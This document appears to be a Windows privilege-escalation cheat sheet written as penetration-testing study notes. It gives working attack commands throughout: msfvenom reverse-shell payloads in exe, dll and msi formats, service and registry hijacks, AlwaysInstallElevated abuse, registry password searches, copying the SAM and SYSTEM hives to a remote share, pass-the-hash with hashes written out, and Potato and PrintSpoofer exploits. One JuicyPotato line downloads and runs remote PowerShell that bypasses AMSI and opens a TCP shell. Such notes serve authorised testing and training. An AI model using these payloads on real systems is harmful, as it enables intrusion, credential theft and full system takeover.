- General tips
- Tools
- Manual Enumeration
- Privilege escalation techniques
- UAC bypass
- https://lolbas-project.github.io/
- Windows check if Windows Scheduler is running (
tasklist)- Go to C:\Program files (x65)\SystemScheduler\Events and check the logs to see if anything is running every x minutes.
- Check if we got write permissions
- Administrative command execution tips
- Use msfvenom for shells if we can execute something with admin privileges
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exemsfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe
- RDP
net localgroup administrators <username> /add
- Admin --> System
.\PsExec64.exe -accepteula -i -s C:\temp\reverse.exe- https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
- Use msfvenom for shells if we can execute something with admin privileges
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- https://github.com/GhostPack/SharpUp
powershell.exe
. ./PowerUp.ps1
Invoke-Allchecks
.\SharpUp.exe
https://github.com/GhostPack/Seatbelt
./seatbelt.exe all
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
.\winPEASany.exe quiet cmd fast
.\winPEASany.exe
AccessChk is an old but still trustworthy tool for checking user access control rights. You can use it to check whether a user or group has access to files, directories, services, and registry keys. The downside is more recent versions of the program spawn a GUI “accept EULA” popup window. When using the command line, we have to use an older version which still has an /accepteula command line option.
accesschk.exe /accepteula
whoami
net user
hostname
systeminfo
tasklist /svc
wmic service get name,displayname,pathname,startmode
icalcs "<PATH>"
whoami /priv & whoami /groups
if SeImpersonatePrivilege is set (https://github.com/itm4n/PrintSpoofer or juicypotato)
ipconfig /all
route print
netstat -ano
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
schtasks /query /fo LIST /v
wmic product get name, version, vendor
accesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*<DRIVER>*"}
Check status of AlwaysInstalledElevated registery setting (if yes then craft a MSI)
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
driverquery /v
cd C:\Program Files\<DRIVER>
Run winPEAS and if it find something fuzzy use these techniques to exploit it.
Get-ChildItem -Path C:\* -Force -Include *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue
Kernels are the core of any operating system. Think of it as a layer between application software and the actual computer hardware. The kernel has complete control over the operating system. Exploiting a kernel vulnerability can result in execution as the SYSTEM user.
- Enumerate Windows version / patch level (systeminfo)
- Find matching exploits (Google, ExploitDB, Github)
- Compile and run
- https://github.com/bitsadmin/wesng
- https://github.com/rasta-mouse/Watson
- Pre compiled Kernel exploits
systeminfo > systeminfo.txt
python wes.py systeminfo.txt -i 'Elevation of privilege' --exploits-only
https://github.com/SecWiki/windows-kernel-exploits
Services are simply programs that run in the background, accepting input or performing regular tasks. If services run with SYSTEM privileges and are misconfigured, exploiting them may lead to command execution with SYSTEM privileges as well.
accesschk.exe /accepteula -uwcqv <USER> * > ack.txt
type ack.txt
sc.exe qc <SERVICE NAME>
sc.exe query <SERVICE NAME>
sc.exe config <NAME> <OPTION>= <VALUE>
net start/stop <SERVICE NAME>
Each service has an ACL which defines certain service-specific permissions. Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Some may be useful (e.g. SERVICE_STOP, SERVICE_START). Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS).
If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own. Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!
.\accesschk.exe /accepteula -uwcqv <USER> <SERVICE NAME>
Get-ServiceAcl -Name <NAME> | select -expandproperty Access
sc qc daclsvc
sc query daclsvc
sc config daclsvc binpath= "\"C:\temp\reverse.exe\""
sc config daclsvc obj= ".\LocalSystem" password= ""
sc config daclsvc start= "demand"
net start daclsvc
Executables in Windows can be run without using their extension (e.g. “whoami.exe” can be run by just typing “whoami”). Some executables take arguments, separated by spaces, e.g. someprog.exe arg1 arg2 arg3… This behavior leads to ambiguity when using absolute paths that are unquoted and contain spaces.
Consider the following unquoted path: C:\Program Files\Some Dir\SomeProgram.exe To us, this obviously runs SomeProgram.exe. To Windows, C:\Program could be the executable, with two arguments: Files\Some and Dir\ SomeProgram.exe Windows resolves this ambiguity by checking each of the possibilities in turn. If we can write to a location Windows checks before the actual executable, we can trick the service into executing it instead.
sc qc <SERVICE NAME>
.\accesschk.exe /accepteula -uwdq "<PATH WITH SPACE>"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
copy C:\temp\reverse.exe "<PATH>"
net stop <SERVICE>
net start <SERVICE>
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.
a. Powershell
Get-Acl <REG PATH> | Format-ListB. accesschk.exe.\accesschk.exe /accepteula -uvwqk <REG PATH>
reg add <REG PATH> /v <REG VALUE> /t REG_EXPAND_SZ /d C:\temp\reverse.exe /f
net stop <SERVICE>
net start <SERVICE>
If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable. Remember to create a backup of the original executable if you are exploiting this in a real system!
.\accesschk.exe /accepteula -quvw "<PATH TO EXE>"
icacls.exe "<PATH TO EXE>"
Get-Acl -Path "<PATH TO EXE>" | fl
copy "<PATH>" C:\Temp
copy /Y C:\PrivEsc\reverse.exe "<PATH>"
net stop <SERVICE>
net start <SERVICE>
- Use
net helpmsgto resolve Windows error codes.
net helpmsg 32
Often a service will try to load functionality from a library called a DLL (dynamic-link library). Whatever functionality the DLL provides, will be executed with the same privileges as the service that loaded it. If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.
A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual
Start by enumerating which of these services our user has stop and start access to:
.\accesschk.exe /accepteula -uvqc <USER> <SERVICE>
sc qc <SERVICE>
- Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.
- Add a new filter on the Process Name matching NAME.exe.
- On the main screen, deselect registry activity and network activity.
- Start the service:
- Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the .dll file.
- At some point, Windows tries to find the file in the C:\Temp directory, which as we found earlier, is writable by our user.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll
Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>
-
This policy allows standard users to install applications that require access to directories and registry keys that they may not usually have permission to change. This is equivalent to granting full administrative rights and even though Microsoft strongly discourages its use, it can still be found.
-
To exploit this, we need to package a payload into an MSI installer that will be installed and executed with SYSTEM privileges.
- Generate a new Windows EXE TCP payload and save it to C:\Payloads\beacon-tcp.exe.
- Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
- Give the project a name, like BeaconInstaller, use C:\Payloads for the location, select place solution and project in the same directory, and click Create.
- Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
- Highlight the BeaconInstaller project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
- Right-click the project and select View > Custom Actions.
- Right-click Install and select Add Custom Action.
- Double-click on Application Folder, select your beacon-tcp.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
- Under the Custom Action Properties, change Run64Bit to True.
- Now build the project, which should produce an MSI at
C:\Payloads\BeaconInstaller\Debug\BeaconInstaller.msi. - To remove the MSI afterwards, you can use
msiexec /q /n /uninstall BeaconInstaller.msibefore removing the file.
Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.\accesschk.exe /accepteula -wvu "<PATH TO EXE>"
copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
Note that on Windows 10, the exploit appears to run with the privileges of the last logged on user, so log out of the “user” account and log in as the “admin” account first.
MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e. admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.
The catch is that two Registry settings must be enabled for this to work. The “AlwaysInstallElevated” value must be set to 1 for both the local machine: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer and the current user: HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer If either of these are missing or disabled, the exploit will not work.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Mi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o reverse.msi
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o reverse.msi
Copy the reverse.msi across to the Windows VM, start a listener on Kali, and run the installer to trigger the exploit:
msiexec /quiet /qn /i C:\temp\reverse.msi
Yes, passwords. Even administrators re-use their passwords, or leave their passwords on systems in readable locations. Windows can be especially vulnerable to this, as several features of Windows store passwords insecurely.
Plenty of programs store configuration options in the Windows Registry. Windows itself sometimes will store passwords in plaintext in the Registry. It is always worth searching the Registry for passwords. The following commands will search the registry for keys and values that contain “password”
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
winexe -U '<USERNAME>%<PASSWORD>' //<IP> cmd.exe
Windows has a runas command which allows users to run commands with the privileges of other users. This usually requires the knowledge of the other user’s password. However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement.
cmdkey /list
runas /savecred /user:admin C:\temp\reverse.exe
Some administrators will leave configurations files on the system with passwords in them. The Unattend.xml file is an example of this. It allows for the largely automated setup of Windows systems.
dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt
Windows stores password hashes in the Security Account Manager (SAM). The hashes are encrypted with a key which can be found in a file named SYSTEM. If you have the ability to read the SAM and SYSTEM files, you can extract the hashes. Located in: C:\Windows\System32\config directory. or C:\Windows\Repair or C:\Windows\System32\config\RegBack directories
copy C:\Windows\Repair\SAM \\<IP>\<SHARE>\
copy C:\Windows\Repair\SYSTEM \\<IP>\<SHARE>\
- https://github.com/Neohapsis/creddump7.git
- /usr/share/creddump7/pwdump.py
python2 creddump7/pwdump.py SYSTEM SAM
hashcat -a 0 -m 1000 --force <HASHES> <WORDLIST>
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe
Windows can be configured to run tasks at specific times, periodically (e.g. every 5 mins) or when triggered by some event (e.g. a user logon). Tasks usually run with the privileges of the user who created them, however administrators can configure tasks to run as other users, including SYSTEM.
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
On some (older) versions of Windows, users could be granted the permission to run certain GUI apps with administrator privileges. There are often numerous ways to spawn command prompts from within GUI apps, including using native Windows functionality. Since the parent process is running with administrator privileges, the spawned command prompt will also run with these privileges. I call this the “Citrix Method” because it uses many of the same techniques used to break out of Citrix environments.
file://c:/windows/system32/cmd.exe
Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.
Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file.
.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
cscript CreateShortcut.vbs
Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations results from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.
tasklist /v
.\seatbelt.exe NonstandardProcesses
.\winPEASany.exe quiet procesinfo
Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.
- Copy the potato.exe exploit executable over to Windows.
- Start a listener on Kali.
- Run the exploit:
.\potato.exe -ip <IP> -cmd "C:\temp\reverse.exe" - enable_httpserver true -enable_defender true -enable_spoof true - enable_exhaust true - Wait for a Windows Defender update, or trigger one manually.
We briefly talked about service accounts at the start of the course. Service accounts can be given special privileges in order for them to run their services, and cannot be logged into directly. Unfortunately, multiple problems have been found with service accounts, making them easier to escalate privileges with.
The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.
Service accounts are generally configured with these two privileges. They allow the account to impersonate the access tokens of other users (including the SYSTEM user). Any user with these privileges can run the token impersonation exploits in this lecture.
- https://github.com/ohpe/juicy-potato
- https://github.com/TsukiCTF/Lovely-Potato Rotten Potato was quite a limited exploit. Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many more ways to exploit.
If the CLSID ({03ca…) doesn’t work for you, either check this list: https://github.com/ohpe/juicy-potato/blob
C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\temp\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
#MSFCONSOLE
mkdir /temp
cd /temp
upload JuicyPotato.exe
execute -f JuicyPotato.exe -a '-t u -p "C:\Windows\System32\cmd.exe" -l 4444' -i
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.10.1.2 LPORT=6666 -f exe -o bind_tcp.exe
upload bind_tcp.exe C:\\users\\public\\
execute -f JuicyPotato.exe -a '-t u -p "C:\users\public\bind_tcp.exe" -l 4444' -i
use multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 6666
set RHOST <IP>
.\JuicyPotato.exe -l 1337 -p "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x:8090/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x:8090/Invoke-PowerShellTcp2.ps1')" -t *
C:\temp\PSExec64.exe /accepteula -i -u "nt authority\local service" C:\temp\reverse.exe
C:\PrivEsc\RoguePotato.exe -r <IP> –l <PORT> -e "C:\temp\reverse.exe"
PrintSpoofer is an exploit that targets the Print Spooler service.
C:\PrivEsc\PrintSpoofer.exe -i -c "C:\temp\reverse.exe"
C:\PrintSpoofer.exe -i -c cmd.exe
- https://github.com/hatRiot/token-priv In Windows, user accounts and groups can be assigned specific “privileges”. These privileges grant access to certain abilities. Some of these abilities can be used to escalate our overall privileges to that of SYSTEM.
Note that “disabled” in the state column is irrelevant here. If the privilege is listed, your user has it.
whoami /priv
- SeImpersonatePrivilege
- The SeImpersonatePrivilege grants the ability to impersonate any access tokens which it can obtain. If an access token from a SYSTEM process can be obtained, then a new process can be spawned using that token. The Juicy Potato exploit in a previous section abuses this ability.
- SeAssignPrimaryPrivilege
- The SeAssignPrimaryPrivilege is similar to SeImpersonatePrivilege. It enables a user to assign an access token to a new process. Again, this can be exploited with the Juicy Potato exploit.
- SeBackupPrivilege
- The SeBackupPrivilege grants read access to all objects on the system, regardless of their ACL. Using this privilege, a user could gain access to sensitive files, or extract hashes from the registry which could then be cracked or used in a pass-the-hash attack.
- seRestorePrivilege
- The SeRestorePrivilege grants write access to all objects on the system, regardless of their ACL. There are a multitude of ways to abuse this privilege: Modify service binaries, Overwrite DLLS used by SYSTEM processes, Modify registery settings
- SeTakeOwnershipPrivilege
- The SeTakeOwnershipPrivilege lets the user take ownership over an object (the WRITE_OWNER permission). Once you own an object, you can modify its ACL and grant yourself write access. The same methods used with SeRestorePrivilege then apply.
- A UAC bypass is a technique by which an application can go from Medium to High Integrity without prompting for consent.
- https://github.com/hfiref0x/UACME
- The default configuration for UAC is Prompt for consent for non-Windows binaries, but can also have different settings such as Prompt for credentials, Prompt for consent and Elevate without prompting.
Seatbelt.exe uac